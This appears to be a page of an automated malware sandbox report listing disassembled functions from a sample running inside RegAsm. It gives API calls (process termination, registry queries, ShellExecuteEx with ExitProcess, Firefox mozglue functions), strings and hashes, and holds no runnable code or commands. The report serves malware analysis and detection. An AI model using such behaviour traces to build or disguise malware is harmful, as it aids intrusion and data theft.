Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 787d52fb29fd1fd0d1ca797368b4a75426a4e5045b14be0a3a63699150733ad3
Instruction ID: 1666d63822b9d802104c1b3a65410a303e6aa0b0bf6f0f9e336b168d8a9db760
Opcode Fuzzy Hash: 787d52fb29fd1fd0d1ca797368b4a75426a4e5045b14be0a3a63699150733ad3
Instruction Fuzzy Hash: CD312931A01214CFDB00DFAAE844AEEB7B5FF44308F580629E81267E41D731E8C9DBA1

Function 004160D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416103

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 004161C6
ExitProcess.KERNEL32 ref: 004161F5

Strings

<, xrefs: 00416179

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 7c5465ad6f2791ceef377b52a52ad20443ccb7e3d8f32965245a264df9859baf
Instruction ID: 54b6532b0b3a1e4a3a0de688d9ef2eddded6cf57616e9fa182c501fcadca31e9
Opcode Fuzzy Hash: 7c5465ad6f2791ceef377b52a52ad20443ccb7e3d8f32965245a264df9859baf
Instruction Fuzzy Hash: F6318EB1801218ABCB14EB90CC86FDEB778AF54314F40419EF20962191DF786B88CF69

Function 6CA5E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA5E577
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5E584
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA5E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA5E826, 6CA5E850
MOZ_PROFILER_STARTUP, xrefs: 6CA5E5A1, 6CA5E5CC, 6CA5E5FF, 6CA5E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA5E722, 6CA5E750, 6CA5E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA5E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA5E777

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 95f73fa57b7db29b87d400acb18d298a3c56bf9bbe0380814a00704c1d62cb3e
Instruction ID: f7d69b86bb7bea75495c8f0ddc7728404a9e6d4335e37886b2ce1f1592ee9222
Opcode Fuzzy Hash: 95f73fa57b7db29b87d400acb18d298a3c56bf9bbe0380814a00704c1d62cb3e
Instruction Fuzzy Hash: 2811CE31620355DFCB049F19C84AB69BBF8FBC9328F40861DF85247650CB74A896CB91

Function 004187F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
wsprintfW.USER32 ref: 00418818

Strings

%hs, xrefs: 0041880F

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 79e9d64faf86ba83e26f0357b0342198ccb0edd89fdd2a8e15abc92a0c7754c1
Instruction ID: ed9823074eed6dc814ef0c36eacf0fed31b39f083cef978cb02bde33a7ef5422
Opcode Fuzzy Hash: 79e9d64faf86ba83e26f0357b0342198ccb0edd89fdd2a8e15abc92a0c7754c1
Instruction Fuzzy Hash: DAE0EC75A40208FBD720EF94ED0AE6D77A9EB04711F100154FE0997290DA719E119BA9

Function 6CA60C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA60CD5

Part of subcall function 6CA4F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA4F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA60D40
free.MOZGLUE ref: 6CA60DCB

Part of subcall function 6CA35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA35EDB
Part of subcall function 6CA35E90: memset.VCRUNTIME140(6CA77765,000000E5,55CCCCCC), ref: 6CA35F27
Part of subcall function 6CA35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA35FB2

free.MOZGLUE ref: 6CA60DDD
free.MOZGLUE ref: 6CA60DF2

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: a2e386c3a4d247b5aa28bb53aff02321d47834e8552a11e9fc8dceb215e686e2
Instruction ID: cdeb53e44d5db65f0047243ebac197b3691f3d4e26c842aaa534845a4c627cda
Opcode Fuzzy Hash: a2e386c3a4d247b5aa28bb53aff02321d47834e8552a11e9fc8dceb215e686e2
Instruction Fuzzy Hash: 45412771918784CBD320CF2AC18079AFBE5BF89714F108A2EE8D887B50D7709489CB82

Function 6CA6CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6CDA4

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

Part of subcall function 6CA6D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CA6CDBA,00100000,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6D158
Part of subcall function 6CA6D130: InitializeConditionVariable.KERNEL32(00000098,?,6CA6CDBA,00100000,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6CDC4

Part of subcall function 6CA67480: ReleaseSRWLockExclusive.KERNEL32(?,6CA715FC,?,?,?,?,6CA715FC,?), ref: 6CA674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6CECC

Part of subcall function 6CA2CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA2CAA2

Part of subcall function 6CA5CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CA6CEEA,?,?,?,?,00000000,?,6CA5DA31,00100000,?,?,00000000), ref: 6CA5CB57
Part of subcall function 6CA5CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA5CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CA6CEEA,?,?), ref: 6CA5CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA5DA31,00100000,?,?,00000000,?), ref: 6CA6D058

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 189951fc952a772d2b8a2657262c2f0fb09ae485adfd2f73a8272b1208628197
Instruction ID: 55472c8cb766810a3f1c4444932eae3766de3693944526bbf788b08e2a614ea8
Opcode Fuzzy Hash: 189951fc952a772d2b8a2657262c2f0fb09ae485adfd2f73a8272b1208628197
Instruction Fuzzy Hash: 59D17071A04B069FD708CF29C580799F7E1BF89308F15862DE85987B11EB31E9A5CBC1

Function 6CA35C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA35D40
EnterCriticalSection.KERNEL32(6CA9F688), ref: 6CA35D67
__aulldiv.LIBCMT ref: 6CA35DB4
LeaveCriticalSection.KERNEL32(6CA9F688), ref: 6CA35DED

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 6f26ddb14d96507ac05ec9ed1acdc0c3e0a0123144e67a99e7058c5790c0c851
Instruction ID: 4c81529df764c66d51e1a3f45fbe9cdb0f8038e68faa04518c8bebd69802b73c
Opcode Fuzzy Hash: 6f26ddb14d96507ac05ec9ed1acdc0c3e0a0123144e67a99e7058c5790c0c851
Instruction Fuzzy Hash: 7A515271E103668FCF08CFACC955AAEB7B2FB85304F19861ED915A7751CB306946CB90

Function 6CA1CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA1CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA1CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA1CF4E

Strings

0, xrefs: 6CA1CF30

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e3dcac89b195614f10bfd25ed7c8905a3ac3ca6c3a177b8a030527abe718a3f
Instruction ID: 5e5a8685bd9c69a80f9404321cfddab12fcd5105fadb6ce02f6ae1dc31dad828
Opcode Fuzzy Hash: 0e3dcac89b195614f10bfd25ed7c8905a3ac3ca6c3a177b8a030527abe718a3f
Instruction Fuzzy Hash: 21511275A042168FCB04CF18C490AAABBB5FF99304F198299D8595F792D731ED46CBE0

Function 00413BC0 Relevance: 6.1, APIs: 4, Instructions: 124stringregistryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegQueryValueExA.ADVAPI32(?,01502F48,00000000,00000000,00000000,000000FF), ref: 00413C28
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,01502F60), ref: 00413C6B

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$QueryValuememset
String ID:
API String ID: 1281837912-0
Opcode ID: 3d4483389bef3b7264bace97bf81acfd040a045f2f58674716d73b8febd04265
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: 3d4483389bef3b7264bace97bf81acfd040a045f2f58674716d73b8febd04265
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 6CA56470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA582BC,?,?), ref: 6CA5649B

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA564A9

Part of subcall function 6CA4FA80: GetCurrentThreadId.KERNEL32 ref: 6CA4FA8D
Part of subcall function 6CA4FA80: AcquireSRWLockExclusive.KERNEL32(6CA9F448), ref: 6CA4FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA5653F
free.MOZGLUE(?), ref: 6CA5655A

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 687b0e4d699b488845f19c02126992c96c71f4bbf67b664d5a2110bb2362b215
Instruction ID: 058b292d5ee6f745ce68aff8ae7ec9e9e456c962ef9e1660259217b36f671c8f
Opcode Fuzzy Hash: 687b0e4d699b488845f19c02126992c96c71f4bbf67b664d5a2110bb2362b215
Instruction Fuzzy Hash: 3131A2B5A043059FD704CF25D980A9EBBF4FF88318F40852EE85A97741DB34E959CB92

Function 00418F70 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00418F8B

Part of subcall function 004187F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
Part of subcall function 004187F0: HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
Part of subcall function 004187F0: wsprintfW.USER32 ref: 00418818

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041904B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419069
CloseHandle.KERNEL32(00000000), ref: 00419076

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 4ff126167b0771d044181f57398eb51b6d83ce20c11284de7bc47067dc980c11
Instruction ID: 3daad27826ff673201e4cbb303e81af6821d19ef8fccaa22ba62c435337ce2e5
Opcode Fuzzy Hash: 4ff126167b0771d044181f57398eb51b6d83ce20c11284de7bc47067dc980c11
Instruction Fuzzy Hash: 02316D71E01208AFDB24DFE0CD49BEDB775AF48304F104059F606AB294DBB8AE85CB55

Function 6CA2B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA2B4F5
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA2B502
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA2B542
free.MOZGLUE(?), ref: 6CA2B578

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f0dae2f0ae3d32d1af63e6bec03d86e87dd24908a59543d6526f4816d350bb92
Instruction ID: 8bcc1201331c021420a4b3c59b8a479d112fb712f4436d9accc7afc4ac9707dd
Opcode Fuzzy Hash: f0dae2f0ae3d32d1af63e6bec03d86e87dd24908a59543d6526f4816d350bb92
Instruction Fuzzy Hash: AA112430924B52CBC3118F28E9003A2B3B0FFD6319F18930EE84A57A01EBB4B1C5C790

Function 6CA53DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA1F20E,?), ref: 6CA53DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA1F20E,00000000,?), ref: 6CA53DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA53E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA53E0E

Part of subcall function 6CA4CC00: GetCurrentProcess.KERNEL32(?,?,6CA131A7), ref: 6CA4CC0D
Part of subcall function 6CA4CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA131A7), ref: 6CA4CC16

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 47180492d2fd68cdee5843cb10ae32fba48933de066b00941c56a28d56808cf8
Instruction ID: fce742a54ff456057b7eb0f8c1cf273791be4ca9bb1c3a6abde2071c32c6f25e
Opcode Fuzzy Hash: 47180492d2fd68cdee5843cb10ae32fba48933de066b00941c56a28d56808cf8
Instruction Fuzzy Hash: 7EF082716103097BD704AF54DC42DAB376DDB46628F048020FD0917740DB35BD6A8AF7

Function 004011D0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(014FA9D8,00000000,00000000,00000000), ref: 004011E2
GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
ReleaseDC.USER32(00000000,?), ref: 00401200
ExitProcess.KERNEL32 ref: 00401211

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: CapsCreateDeviceExitProcessRelease
String ID:
API String ID: 272768826-0
Opcode ID: 08d1e7ffdf07a555ae796108eeb1039241f12d65277624adf39f2af9d8b264a3
Instruction ID: 97456884ad0b6ef18ab359dcde09f3ca8448260d7b8d43e592fbf70d203c581b
Opcode Fuzzy Hash: 08d1e7ffdf07a555ae796108eeb1039241f12d65277624adf39f2af9d8b264a3
Instruction Fuzzy Hash: 5CF06574E80704BBE7109FE0EC09F2D7B76EB44701F109159FA05AA2D0C77454028B91

